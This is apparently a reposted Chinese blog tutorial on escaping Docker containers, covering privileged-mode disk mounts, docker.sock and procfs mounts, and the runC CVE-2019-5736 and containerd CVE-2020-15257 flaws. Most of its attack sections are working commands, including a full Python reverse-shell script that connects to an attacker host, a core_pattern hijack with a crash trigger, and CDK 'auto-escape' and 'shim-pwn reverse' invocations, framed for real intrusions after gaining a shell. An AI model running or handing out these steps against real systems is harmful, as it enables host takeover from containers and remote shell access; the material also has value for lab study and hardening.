云上攻防--云原生&&Docker逃逸--特权逃逸--危险挂载--漏洞逃逸
Docker介紹
Docker 是一個開放源代碼軟件,是一個開放平臺,用于開發(fā)應(yīng)用、交付(shipping)應(yīng)用、運行應(yīng)用。Docker允許用戶將基礎(chǔ)設(shè)施(Infrastructure)中的應(yīng)用單獨分割出來,形成更小的顆粒(容器),從而提高交付軟件的速度。
Docker 容器與虛擬機類似,但二者在原理上不同,容器是將操作系統(tǒng)層虛擬化,虛擬機則是虛擬化硬件,因此容器更具有便攜性、高效地利用服務(wù)器。
判斷Docker環(huán)境
- 查詢cgroup信息
cat /proc/1/cgroup
正常主機:
docker環(huán)境:
- 檢查根目錄特定文件
ls -al / | grep "docker"
正常主機:
docker環(huán)境:
- 檢查掛載信息
mount | grep '/ type'
正常主機:
docker環(huán)境:
- 查看硬盤信息
fdisk -l
正常主機:
docker環(huán)境:
- 查看文件系統(tǒng)掛載點
df -h | egrep '(overlay|aufs)'
正常主機:
docker環(huán)境:
容器逃逸-特權(quán)模式
特權(quán)模式是指在啟動docker容器時,賦予了容器過高的權(quán)限,可以使容器將宿主機上的文件掛載到容器里面從而形成容器逃逸。
特權(quán)啟動一般出現(xiàn)在主機分權(quán)明確的情況下,業(yè)務(wù)需要足夠的權(quán)限進行啟動,而管理員賬號本身被并不具備,因此需要特權(quán)啟動容器。
環(huán)境復(fù)現(xiàn):
- 特權(quán)啟動容器
docker run --rm --privileged=true -it alpine
- 檢測docker環(huán)境
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
兩種檢測方式均符合docker環(huán)境特征
- 判斷特權(quán)啟動
cat /proc/self/status | grep CapEff
特權(quán)模式啟動的話,CapEff 對應(yīng)的掩碼值應(yīng)該為0000003fffffffff 或者是 0000001fffffffff
- 查看磁盤分區(qū)
查看目前環(huán)境處于哪個分區(qū)中
- 特權(quán)逃逸
創(chuàng)建目錄,并將分區(qū)掛載到目錄中。
mkdir /test && mount /dev/vda1 /test
- 逃逸成功
成功將宿主機內(nèi)容掛載到test目錄下
容器逃逸-危險掛載
掛載DockerSocket逃逸
將 Docker Socket 掛載到容器中可以使容器內(nèi)部的應(yīng)用或進程直接與宿主機上的 Docker 守護進程通信,即給予容器控制宿主機上Docker實例的能力。
應(yīng)用場景:
- 持續(xù)集成和持續(xù)部署(CI/CD):在 CI/CD 流程中,如 Jenkins、GitLab CI 或 CircleCI,構(gòu)建容器需要創(chuàng)建、管理或銷毀其他容器。例如,自動化測試過程可能需要啟動一個應(yīng)用容器和一個數(shù)據(jù)庫容器,然后在測試完成后銷毀它們。
- 容器編排工具:管理容器集群的工具,如 Portainer 或 Rancher,需要在其容器內(nèi)訪問 Docker Socket,以便管理和監(jiān)控集群中的容器。
- 本地開發(fā)環(huán)境:開發(fā)人員可能使用容器化的開發(fā)環(huán)境,其中包括需要管理其他容器的工具。例如,使用 Docker Compose 在本地部署多容器應(yīng)用時,主控容器可能需要訪問 Docker Socket 來控制其他服務(wù)容器。
- Docker-in-Docker(DinD)場景:在需要完全隔離的 Docker 環(huán)境中進行測試或開發(fā)時,例如測試 Docker 本身的新功能或插件,會使用到 Docker-in-Docker。這要求主容器能夠完全控制內(nèi)部的 Docker 守護進程。
- 自動化部署腳本:某些自動化腳本或工具,可能被打包在容器中,并需要訪問 Docker Socket 以自動部署或更新容器化應(yīng)用
環(huán)境復(fù)現(xiàn):
- 創(chuàng)建文件標識
在根目錄下創(chuàng)建文件標識宿主機,以便分辨逃逸是否成功。
- 掛載Docker Socket容器啟動
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
- 進入容器
docker exec -it with_docker_sock /bin/bash
- 檢測環(huán)境
ls -al / | grep docker
檢測根目錄下有固定Docker特征文件,判斷是在容器中
ls -lah /var/run/docker.sock
檢測容器中掛載有docker.socket文件,判斷為docker.socket掛載啟動
- 安裝docker客戶端
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
雖然已經(jīng)檢測到docker.socket已經(jīng)被掛載到容器中,這只能說明已經(jīng)具備和宿主機docker進程進行通信的能力,但是容器中并沒有docker的客戶端,無法使用docker命令,因此需要安裝docker客戶端。
- 掛載逃逸
docker run -it -v /:/host ubuntu /bin/bash
在容器內(nèi)部創(chuàng)建一個新的容器,并將宿主機目錄掛載到新的容器內(nèi)部host目錄中。
- 逃逸成功
host目錄中已經(jīng)看到宿主機上的文件,后續(xù)利用可以在宿主機本身創(chuàng)建定時任務(wù)反彈shell。
退出容器時要退出兩次才能到宿主機。
掛載宿主機procfs逃逸
在 Docker 中,掛載 procfs (/proc 文件系統(tǒng))到容器通常是為了從容器內(nèi)部訪問宿主機的 proc 文件系統(tǒng),這通常用于高級監(jiān)控、診斷或其他特殊的系統(tǒng)管理任務(wù)。/proc 文件系統(tǒng)是一個特殊的文件系統(tǒng),它提供了一個接口到內(nèi)核數(shù)據(jù)結(jié)構(gòu),主要用于訪問有關(guān)系統(tǒng)和運行中進程的信息。
環(huán)境復(fù)現(xiàn):
- 掛載procfs啟動容器
將宿主機/proc/sys/kernel/core_pattern文件掛載到容器/host/proc/sys/kernel/core_pattern中
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
- 環(huán)境監(jiān)測
ls -al / | grep docker
find / -name core_pattern
在容器中找到兩個core_pattern文件那可能就是掛載了宿主機的 procfs
- 尋找路徑
找到當(dāng)前容器在宿主機下的絕對路徑
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
將work目錄變成merged目錄就是容器所在宿主機的絕對路徑
/var/lib/docker/overlay2/a992bcd6f19cb8cc5578b3732617c0547250a0a30e22faf5dd4de4a010044520/merged
- 創(chuàng)建反彈shell腳本
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"
lport = xxxx
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
EOF
賦予執(zhí)行權(quán)限
chmod 777 /tmp/.x.py
- 寫入反彈 shell文件在宿主機執(zhí)行路徑到目標的/proc/sys/kernel/core_pattern 文件
echo -e "|/var/lib/docker/overlay2/a992bcd6f19cb8cc5578b3732617c0547250a0a30e22faf5dd4de4a010044520/merged/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
查看路徑是否寫入成功
從 2.6.19 內(nèi)核版本開始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新語法。如果該文件中的首個字符是管道符 | ,那么該行的剩余內(nèi)容將被當(dāng)作用戶空間程序或腳本解釋并執(zhí)行。
/proc/sys/kernel/core_pattern 是 Linux 系統(tǒng)中的一個特殊文件,它屬于 /proc 文件系統(tǒng),這是一個虛擬文件系統(tǒng),提供了一個接口到內(nèi)核數(shù)據(jù)結(jié)構(gòu)。這個特定文件用于定義當(dāng)程序崩潰導(dǎo)致核心轉(zhuǎn)儲(core dump)時,核心轉(zhuǎn)儲文件的命名模式和位置。
核心轉(zhuǎn)儲是操作系統(tǒng)在程序發(fā)生嚴重錯誤(如段錯誤)時創(chuàng)建的文件,包含了程序崩潰時的內(nèi)存鏡像和有關(guān)程序狀態(tài)的其他信息,對于程序調(diào)試和確定崩潰原因非常有用。
- core_pattern 文件的內(nèi)容決定了核心轉(zhuǎn)儲文件的命名和存儲位置。
- 默認情況下,這個文件可能只包含一個單詞 core,表示核心轉(zhuǎn)儲文件將被命名為 core 并存儲在程序崩潰時的當(dāng)前目錄下。
- 可以配置這個文件來更改核心轉(zhuǎn)儲文件的存儲位置和命名方式。例如,可以設(shè)置路徑和文件名,甚至可以指定一個處理核心轉(zhuǎn)儲的程序。
上述解釋就是我們要將反彈shell文件路徑寫入core_pattern 中
- 寫入引起docker崩潰的文件,誘導(dǎo)系統(tǒng)加載core_pattern 文件
安裝vim以及gcc
apt-get update -y && apt-get install vim gcc -y
寫入崩潰文件
cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}
EOF
將文件賦予執(zhí)行權(quán)限
gcc x.c -o x
- 開啟監(jiān)聽
在VPS中開啟監(jiān)聽
nc -lvvp xxxx
- 執(zhí)行崩潰文件,接收反彈shell
./x
崩潰文件執(zhí)行的同時,shell也被反彈了
容器逃逸-Docker漏洞
利用Docker本身漏洞進行逃逸
CVE-2019-5736 runC容器逃逸
環(huán)境復(fù)現(xiàn):
- 復(fù)現(xiàn)建議:復(fù)現(xiàn)之前做好快照,因為復(fù)現(xiàn)過程中會破壞docker環(huán)境。
- 漏洞影響版本:docker version <=18.09.2 RunC version <=1.0-rc6
- 安裝對應(yīng)的Docker版本
apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
- 啟動模擬環(huán)境
docker run -itd ubuntu:latest
- 構(gòu)造漏洞利用POC
POC下載地址CVE-2019-5736-PoC
對main.go文件內(nèi)容進行修改
使用go環(huán)境進行編譯
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
- 上傳POC
由于是模擬環(huán)境,因此在這里就在終端直接上傳了,如果在實戰(zhàn)情況下拿了shell,應(yīng)該也有上傳文件的權(quán)限
上傳之后賦予POC執(zhí)行權(quán)限。
docker cp main xxxx:/
chmod 777 main
./main
- VPS開啟監(jiān)聽
- 執(zhí)行POC,模擬管理員重新進入docker容器
docker exec -it xxxx/bin/bash
管理員進入容器時:
- 逃逸成功
管理員重新進入容器時,shell成功反彈,查看根目錄下文件,并沒有docker.env文件,逃逸成功。
- 復(fù)現(xiàn)過后docker-runc發(fā)生了改變
CVE-2020-15257 containerd逃逸
Containerd 是一個控制 runC 的守護進程,提供命令行客戶端和 API,用于在一個機器上管理容器。在特定網(wǎng)絡(luò)條件下,攻擊者可通過訪問containerd-shim API,從而實現(xiàn)Docker容器逃逸。
漏洞復(fù)現(xiàn):
- 漏洞影響版本:
containerd < 1.4.3
containerd < 1.3.9
- 安裝對應(yīng)漏洞版本Docker
apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1
- 啟動測試環(huán)境
用root用戶以共享主機網(wǎng)絡(luò)的方式啟動容器--net=host
docker run -itd --net=host ubuntu:latest /bin/bash
docker exec -it 容器id /bin/bash
- 下載并上傳自動化利用腳本
CDK
docker cp cdk_linux_amd64 容器id:/
chmod 777 cdk_linux_amd64
- 使用腳本進行漏洞檢測
./cdk_linux_amd64 evaluate
收集到的信息,包括提權(quán)漏洞
- 嘗試自動化進行逃逸
./cdk_linux_amd64 auto-escape id
顯示執(zhí)行id命令成功了,但是看不到回顯結(jié)果,根據(jù)顯示成功的關(guān)鍵字判斷出存在哪個漏洞
- 指定POC進行逃逸
./cdk_linux_amd64 run shim-pwn reverse <ip> <端口>
shell反彈成功
逃逸權(quán)限
對于拿下docker環(huán)境后逃逸操作,java的環(huán)境默認就是高權(quán)限用戶,php環(huán)境一般是低權(quán)限用戶,需要進行提權(quán)后再進行逃逸。
利用項目
CDK
container-escape-check
總結(jié)
以上是生活随笔為你收集整理的云上攻防--云原生&&Docker逃逸--特权逃逸--危险挂载--漏洞逃逸的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 高并发扣款,如何保证结果一致性
- 下一篇: 中文语音识别转文字的王者,阿里达摩院Fu